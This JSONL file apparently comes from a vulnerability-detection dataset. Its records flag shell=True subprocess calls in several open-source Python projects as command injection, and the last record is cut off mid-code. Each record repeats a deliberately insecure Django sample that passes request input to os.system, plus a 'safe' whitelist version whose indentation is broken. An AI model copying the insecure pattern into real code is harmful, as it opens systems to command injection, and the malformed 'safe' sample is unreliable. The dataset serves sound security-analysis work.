{"id": "94d2e0853ad7dc1716b7a04ef732900b71adfef164145ce0831a595514381a83", "license": {"spdx": ["Apache-2.0"], "repo": "saito-hideki/ansible-navigator", "path": "tests/integration/actions/doc/test_stdout_subprocess.py", "repo_head_hexsha": "0a15b83c2a9a548315765360bd19d6fd270862d4", "stack_hexsha": "c0bf41576438eb8ba471edb1db48b910e2ccff5b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 120, "entireCode": "\"\"\"Test doc using subprocess.\"\"\"\nimport subprocess\n\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport pytest\n\nfrom ansible_navigator.utils.functions import shlex_join\n\n\nBUILTINS = (\n \"validate_argument_spec\",\n \"wait_for_connection\",\n \"yum_repository\",\n)\n\n\n@dataclass(frozen=True)\nclass StdoutCliTest:\n \"\"\"Definition of a stdout cli test.\"\"\"\n\n comment: str\n \"\"\"Description of the test\"\"\"\n params: Tuple[str, ...]\n \"\"\"Parameters for the subcommand\"\"\"\n expected: Tuple[str, ...] = BUILTINS\n \"\"\"Expected output\"\"\"\n subcommand: str = \"doc\"\n\n def __str__(self) -> str:\n \"\"\"Provide a test id.\n\n :returns: The test id\n \"\"\"\n return self.comment\n\n @property\n def command(self) -> Tuple[str, ...]:\n \"\"\"Provide the constructed command.\n\n :returns: The constructed command\n \"\"\"\n return (\"ansible-navigator\", self.subcommand) + self.params\n\n\n# Intentionally not using parametrize so the behavior can be documented\nStdoutCliTests = (\n StdoutCliTest(\n comment=\"-l\",\n params=(\"-l\",),\n ),\n StdoutCliTest(\n comment=\"--list\",\n params=(\"--list\",),\n ),\n StdoutCliTest(\n comment=\"-F\",\n params=(\"-F\",),\n ),\n StdoutCliTest(\n comment=\"--list_files\",\n params=(\"--list_files\",),\n ),\n StdoutCliTest(\n comment=\"-s\",\n params=(\n \"debug\",\n \"-s\",\n ),\n expected=(\n \"name:\",\n \"debug:\",\n \"msg:\",\n ),\n ),\n StdoutCliTest(\n comment=\"--snippet\",\n params=(\n \"debug\",\n \"--snippet\",\n ),\n expected=(\n \"name:\",\n \"debug:\",\n \"msg:\",\n ),\n ),\n StdoutCliTest(\n comment=\"--metadata-dump\",\n params=(\"--metadata-dump\",),\n ),\n)\n\n\n@pytest.mark.usefixtures(\"use_venv\")\n@pytest.mark.parametrize(argnames=\"data\", argvalues=StdoutCliTests, ids=str)\n@pytest.mark.parametrize(argnames=\"exec_env\", argvalues=(True, False), ids=(\"ee_true\", \"ee_false\"))\ndef test(\n monkeypatch: pytest.MonkeyPatch,\n tmp_path: Path,\n data: StdoutCliTest,\n exec_env: bool,\n) -> None:\n \"\"\"Test doc using subcommand.\n\n :param monkeypatch: The monkeypatch fixture\n :param tmp_path: The temporary path to use\n :param data: The test data\n :param exec_env: Whether to use the exec environment\n :raises AssertionError: When test fails\n \"\"\"\n log_file = str(tmp_path / \"log.txt\")\n monkeypatch.setenv(\"PAGER\", \"cat\")\n monkeypatch.setenv(\"NO_COLOR\", \"true\")\n command = shlex_join(\n data.command + (\"--lf\", log_file, \"--ee\", str(exec_env), \"--set-env\", \"PAGER=cat\"),\n )\n proc_out = subprocess.run(\n command,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n check=False,\n universal_newlines=True,\n shell=True,\n )\n assert all((d in proc_out.stdout for d in data.expected))", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 120, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "40eb34b15268cd89334c6de47a8107e227d2ecb2592dccd419f1a89de9afeac2", "license": {"spdx": ["MIT"], "repo": "kadnan/Neo4jPythonModulesVisualization", "path": "utilities.py", "repo_head_hexsha": "45ae630b348795f14593f3060d59f034898141d3", "stack_hexsha": "4bf0318d0fe8267ee5382225da26c18475a4a98b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 12, "entireCode": "from subprocess import PIPE, run\nimport pkg_resources\n\n\ndef get_pip_list():\n installed_packages = {d.project_name: d.version for d in pkg_resources.working_set}\n return installed_packages\n\n\n# This function executed pip show command and return all dependents after parsing.\ndef get_package_detail(name):\n result = run(\"pip show {}\".format(name), stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)\n detail = result.stdout\n detail_parts = detail.split('\\n')\n dependents = []\n\n for part in detail_parts:\n if part != '' and 'Required-by' in part:\n part = part.replace('Required-by:', '').strip()\n part = part.replace(' ', '')\n dependents = part.split(',')\n return dependents", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "1ec6612d7ca1da7345224dca72a985086753a1f1835fecabe05f3578e8b26935", "license": {"spdx": ["MIT"], "repo": "theenoob/mech", "path": "mech/tests/test_int_simple_virtualbox.py", "repo_head_hexsha": "f77b56b585fca5261e2f6a77f8e28597126a8cff", "stack_hexsha": "605a463c4d346636424e4ff52f962f106ca3aac5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 25, "entireCode": "# Copyright (c) 2020 \n\n\"\"\"Mech integration tests: simple ones (including virtualbox smoke)\"\"\"\nimport re\nimport subprocess\nimport platform\n\nimport pytest\n\n\nfrom mech import utils\n\n\n@pytest.mark.virtualbox\n@pytest.mark.int\ndef test_int_smoke_virtualbox():\n \"\"\"Smoke test most options using virtualbox.\"\"\"\n\n test_dir = \"tests/int/simple_virtualbox\"\n utils.cleanup_dir_and_vms_from_dir(test_dir, names=['firstvbsmoke'])\n\n # should init\n command = \"mech init --provider virtualbox --name firstvbsmoke bento/ubuntu-18.04\"\n expected_lines = [\"Initializing\", \"Loading metadata\", \"has been initialized\", \"mech up\"]\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # should start\n command = \"mech up\"\n expected_lines = [\"virtualbox\", \"Extracting\", \"Sharing folders\",\n \"Getting IP\", \"started\", \"Provisioning\"]\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # should be able to re-up, verify 'start' alias works, too\n commands = [\"mech up\", \"mech start\"]\n expected_lines = [\"Getting IP\", \"started\"]\n for command in commands:\n results = subprocess.run(commands, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech ps'\n command = \"mech ps firstvbsmoke\"\n expected_lines = [\"/sbin/init\"]\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech global-status'\n command = \"mech global-status\"\n expected_lines = ['firstvbsmoke']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech list'\n commands = [\"mech ls\", \"mech list\"]\n expected_lines = ['firstvbsmoke', 'ubuntu', 'virtualbox']\n for command in commands:\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech stop'\n command = \"mech stop\"\n expected_lines = ['Stopped']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech stop' again\n command = \"mech stop\"\n expected_lines = ['Not stopped']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech start'\n command = \"mech start\"\n expected_lines = ['started', 'Nothing to provision']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech pause'\n command = \"mech pause\"\n expected_lines = ['Paused']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech resume'\n command = \"mech resume\"\n expected_lines = ['resumed']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech suspend'\n command = \"mech suspend\"\n expected_lines = ['Not sure equivalent command on this platform']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech resume' after suspend\n command = \"mech resume\"\n expected_lines = ['started', 'Nothing to provision']\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech ssh' (different forms)\n commands = [\"mech ssh -c 'uptime' firstvbsmoke\", \"mech ssh --command 'uptime' firstvbsmoke\"]\n expected_lines = ['load average']\n for command in commands:\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n for line in expected_lines:\n print(line)\n assert re.search(line, stdout, re.MULTILINE)\n\n # test 'mech scp' to guest\n command = \"date > now; mech scp now firstvbsmoke:/tmp\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stdout == ''\n assert stderr == ''\n assert results.returncode == 0\n\n # test 'mech scp' from guest\n command = \"mech scp firstvbsmoke:/tmp/now .\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stdout == ''\n assert stderr == ''\n assert results.returncode == 0\n\n # test 'mech ip firstvbsmoke'\n command = \"mech ip firstvbsmoke\"\n expected = r\"[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout)\n\n if platform.system() == \"Linux\":\n # test \"mech port\"\n command = \"mech port\"\n expected = r\"This command is not supported on this OS\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stdout == ''\n assert re.search(expected, stderr, re.MULTILINE)\n assert results.returncode == 1\n else:\n # test \"mech port\"\n command = \"mech port\"\n expected = r\"Not yet implemented on this platform\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert re.search(expected, stdout, re.MULTILINE)\n assert results.returncode == 0\n\n # test \"mech box list\" (and alias)\n commands = [\"mech box list\", \"mech box ls\"]\n expected = r\"ubuntu\"\n for command in commands:\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout, re.MULTILINE)\n\n # test \"mech snapshot list\" (and alias)\n commands = [\"mech snapshot list\", \"mech snapshot ls\"]\n expected = \"Not yet implemented\"\n for command in commands:\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout, re.MULTILINE)\n\n # test \"mech snapshot save\"\n command = \"mech snapshot save snap1 firstvbsmoke\"\n expected = \"Not yet implemented\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout)\n\n # test \"mech snapshot save\" with same args again\n # command = \"mech snapshot save snap1 firstvbsmoke\"\n # results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n # stdout = results.stdout.decode('utf-8')\n # stderr = results.stderr.decode('utf-8')\n # assert stdout == ''\n # assert re.search('A snapshot with the name already exists', stderr)\n # assert results.returncode == 1\n\n # test \"mech snapshot list\" (and alias) again (now that we have one)\n # commands = [\"mech snapshot list\", \"mech snapshot ls\"]\n # expected = \"Total snapshots: 1\"\n # for command in commands:\n # results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n # stdout = results.stdout.decode('utf-8')\n # stderr = results.stderr.decode('utf-8')\n # assert stderr == ''\n # assert results.returncode == 0\n # assert re.search(expected, stdout, re.MULTILINE)\n\n # test \"mech snapshot delete\"\n command = \"mech snapshot delete snap1 firstvbsmoke\"\n expected = \"Not yet implemented\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout)\n\n # should be able to destroy\n command = \"mech destroy -f\"\n expected = \"Deleting\"\n results = subprocess.run(command, cwd=test_dir, shell=True, capture_output=True)\n stdout = results.stdout.decode('utf-8')\n stderr = results.stderr.decode('utf-8')\n assert stderr == ''\n assert results.returncode == 0\n assert re.search(expected, stdout)\n\n # clean up at the end\n utils.cleanup_dir_and_vms_from_dir(test_dir)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 25, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ae043a5058d7f4c75a68381b67c04862ea312d34a17ad0f8f41917cf6d973250", "license": {"spdx": ["MIT"], "repo": "j1c/pipelines", "path": "hcp_pipelines/main.py", "repo_head_hexsha": "f86b01676a0ba0298e3318ab93ac460a2a7ee674", "stack_hexsha": "2906f2e34303cdd920b4ddc41ac65dc8643f9879", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 24, "entireCode": "import shutil\nimport subprocess\nfrom argparse import ArgumentParser\nfrom pathlib import Path\n\nfrom hcp2bids import convert, get_data\n\nfrom .utils import s3_upload\n\n\ndef run(cmd):\n \"\"\"\n Wrapper on `subprocess.run`.\n Print the command.\n Execute a command string on the shell (on bash).\n Exists so that the shell prints out commands as m2g calls them.\n\n Parameters\n ----------\n cmd : str\n Command to be sent to the shell.\n \"\"\"\n print(f\"Running shell command: {cmd}\")\n subprocess.run(cmd, shell=True, check=True)\n\n\ndef main():\n parser = ArgumentParser(\n description=\"This is an end-to-end connectome estimation pipeline from multishell images.\"\n )\n parser.add_argument(\"--skip_dmriprep\", action=\"store_true\")\n parser.add_argument(\"--skip_download\", action=\"store_true\")\n parser.add_argument(\"--skip_m2g\", action=\"store_true\")\n parser.add_argument(\"--only_dmriprep\", action=\"store_true\")\n parser.add_argument(\n \"--push_location\",\n action=\"store\",\n help=\"Name of folder on s3 to push output data to, if the folder does not exist, it will be created.\"\n \"Format the location as `s3:///`\",\n default=None,\n )\n parser.add_argument(\n \"--remove_work_dir\",\n action=\"store_true\",\n help=\"Remove the work directory from dmriprep outputs if true.\",\n )\n parser.add_argument(\n \"--exclude_download\",\n action=\"store\",\n help=\"Keywords used to skip files in downloads\",\n nargs=\"+\",\n )\n parser.add_argument(\n \"--n_cpus\",\n action=\"store\",\n type=int,\n default=8,\n help=\"Maximum number of threads across all processes. Minimum required is 8.\",\n )\n parser.add_argument(\n \"--mem_gb\",\n action=\"store\",\n default=16,\n type=int,\n help=\"Upper bound memory limit for dMRIPrep processes. Minimum required is 16 GB.\",\n )\n parser.add_argument(\n \"--participant_label\",\n help=\"\"\"The label(s) of the\n participant(s) that should be analyzed. The label\n corresponds to sub- from the BIDS\n spec (so it does not include \"sub-\"). If this\n parameter is not provided all subjects should be\n analyzed. Multiple participants can be specified\n with a space separated list.\"\"\",\n )\n parser.add_argument(\n \"--denoise_strategy\",\n action=\"store\",\n default=\"mppca\",\n help=\"Denoising strategy. Choices include: mppca, nlmeans, localpca, and nlsam\",\n )\n parser.add_argument(\n \"--mod\",\n action=\"store\",\n help=\"Deterministic (det) or probabilistic (prob) tracking. Default is det.\",\n default=\"det\",\n )\n parser.add_argument(\n \"--filtering_type\",\n action=\"store\",\n help=\"Tracking approach: local, particle. Default is local.\",\n default=\"local\",\n )\n parser.add_argument(\n \"--diffusion_model\",\n action=\"store\",\n help=\"Diffusion model: csd or csa. Default is csa.\",\n default=\"csa\",\n )\n parser.add_argument(\n \"--seeds\",\n action=\"store\",\n help=\"Seeding density for tractography. Default is 20.\",\n default=20,\n )\n parser.add_argument(\n \"--parcellation\",\n action=\"store\",\n help=\"The parcellation(s) being analyzed. Multiple parcellations can be provided with a space separated list.\",\n nargs=\"+\",\n default=None,\n )\n parser.add_argument(\n \"--hcp_key\",\n action=\"store\",\n help=\"Credentials for HCP bucket in form of (public, secret) key.\",\n nargs=\"+\",\n default=None,\n )\n parser.add_argument(\n \"--s3_key\",\n action=\"store\",\n help=\"Credentials for s3 upload bucket in form of (public, secret) key.\",\n nargs=\"+\",\n default=None,\n )\n args = parser.parse_args()\n\n if len(args.hcp_key) != 2:\n raise ValueError(\"--hcp_key must have two parameters.\")\n\n if args.push_location:\n if len(args.hcp_key) != 2:\n raise ValueError(\"--s3_key must have two parameters.\")\n\n if not args.skip_download:\n # Get the data and convert to bids\n print(\"Downloading data...\\n\")\n get_data(\n output_path=\"/input\",\n subjects=args.participant_label,\n access_key_id=args.hcp_key[0],\n secret_access_key=args.hcp_key[1],\n exclude_list=args.exclude_download,\n )\n convert(\n input_path=\"/input\",\n output_path=\"/input\",\n include_ses=True,\n )\n\n if not args.skip_dmriprep:\n # Run dmriprep\n print(\"Running dmriprep...\\n\")\n cmd = f\"dmriprep /input /output participant -w /work_dir -s 1 \\\n --denoise_strategy {args.denoise_strategy} \\\n --participant_label {args.participant_label} \\\n --nprocs {args.n_cpus} --omp_nthreads {args.n_cpus} --mem_gb {args.mem_gb} \"\n run(cmd)\n\n # Skip all other steps. Only useful for debugging.\n if args.only_dmriprep:\n return 0\n\n # Rename files\n input_dir = f\"/input/sub-{args.participant_label}/ses-1/dwi/\"\n shutil.rmtree(input_dir)\n shutil.copytree(\n f\"/output/sub-{args.participant_label}/ses-1/dwi/\",\n f\"/input/sub-{args.participant_label}/ses-1/dwi/\",\n )\n shutil.rmtree(\"/output/\", ignore_errors=True)\n input_dir = Path(input_dir)\n\n # Make output dir per m2g spec\n m2g_path = Path(f\"/output/sub-{args.participant_label}/ses-1/dwi/preproc/\")\n m2g_path.mkdir(parents=True, exist_ok=True)\n\n files = list(input_dir.glob(\"*.*\"))\n for file in files:\n if not \"final\" in file.name:\n file.unlink()\n else:\n parent = file.parent\n bids_name = f\"sub-{args.participant_label}_ses-1_run-1_dwi\"\n suffix = file.suffix\n if suffix == \".gz\":\n suffix = \".nii.gz\"\n\n new_name = parent / (bids_name + suffix)\n file.rename(new_name)\n\n if suffix == \".nii.gz\":\n eddy_file = m2g_path / \"eddy_corrected_data.nii.gz\"\n shutil.copyfile(str(new_name.absolute()), str(eddy_file.absolute()))\n\n # Delete work dir\n if args.remove_work_dir:\n shutil.rmtree(\"/work_dir\", ignore_errors=True)\n\n # Run m2g\n if not args.skip_m2g:\n cmd = f\"m2g_bids --participant_label {args.participant_label} --session_label 1\\\n --pipeline dwi --skipeddy --voxelsize 1mm\\\n --parcellation {' '.join(args.parcellation)}\\\n --n_cpus {args.n_cpus} --mem_gb {args.mem_gb} --seeds {args.seeds}\\\n --diffusion_model {args.diffusion_model} --mod {args.mod}\\\n --filtering_type {args.filtering_type}\\\n /input /output\"\n run(cmd)\n\n # Upload to s3\n if args.push_location:\n print(f\"Pushing to s3 at {args.push_location}.\")\n s3_upload(\n args.push_location,\n \"/output\",\n subject=args.participant_label,\n session=\"1\",\n access_key_id=args.s3_key[0],\n secret_access_key=args.s3_key[1],\n )\n\n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e8d3963881b9d9588ce4981be32512f53458950c4205e64380ac1f2d860d00a8", "license": {"spdx": ["Apache-2.0"], "repo": "vvekic/serve", "path": "examples/text_to_speech_synthesizer/create_mar.py", "repo_head_hexsha": "f02a56bf1f0de1705fd9f399c1115d36e343c90c", "stack_hexsha": "5ef6d65a80f29be72251f9f1bea86a7f1fae347b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 23, "entireCode": "import tempfile\nimport sys\nsys.path.append('../../ts_scripts')\nfrom ts_scripts.shell_utils import rm_dir, rm_file, download_save\nimport os\nimport shutil\nimport subprocess\n\nTMP_DIR = tempfile.gettempdir()\nrm_file(\"torchhub.zip\")\nrm_dir(os.path.join(TMP_DIR, \"DeepLearningExamples-torchhub\"))\nrm_dir(\"PyTorch\")\ndownload_save(\"https://github.com/nvidia/DeepLearningExamples/archive/torchhub.zip\", TMP_DIR)\nshutil.unpack_archive(os.path.join(TMP_DIR, \"torchhub.zip\"), extract_dir=TMP_DIR)\nrm_file(\"tacotron.zip\")\nshutil.copytree(os.path.join(TMP_DIR, \"DeepLearningExamples-torchhub/PyTorch/SpeechSynthesis/\"),\n \"PyTorch/SpeechSynthesis/\")\nshutil.make_archive(\"tacotron\", \"zip\", base_dir=\"PyTorch\")\ndownload_save(\"https://api.ngc.nvidia.com/v2/models/nvidia/tacotron2pyt_fp32/versions/1/files/\"\n \"nvidia_tacotron2pyt_fp32_20190306.pth\")\ndownload_save(\"https://api.ngc.nvidia.com/v2/models/nvidia/waveglowpyt_fp32/versions/1/files/\"\n 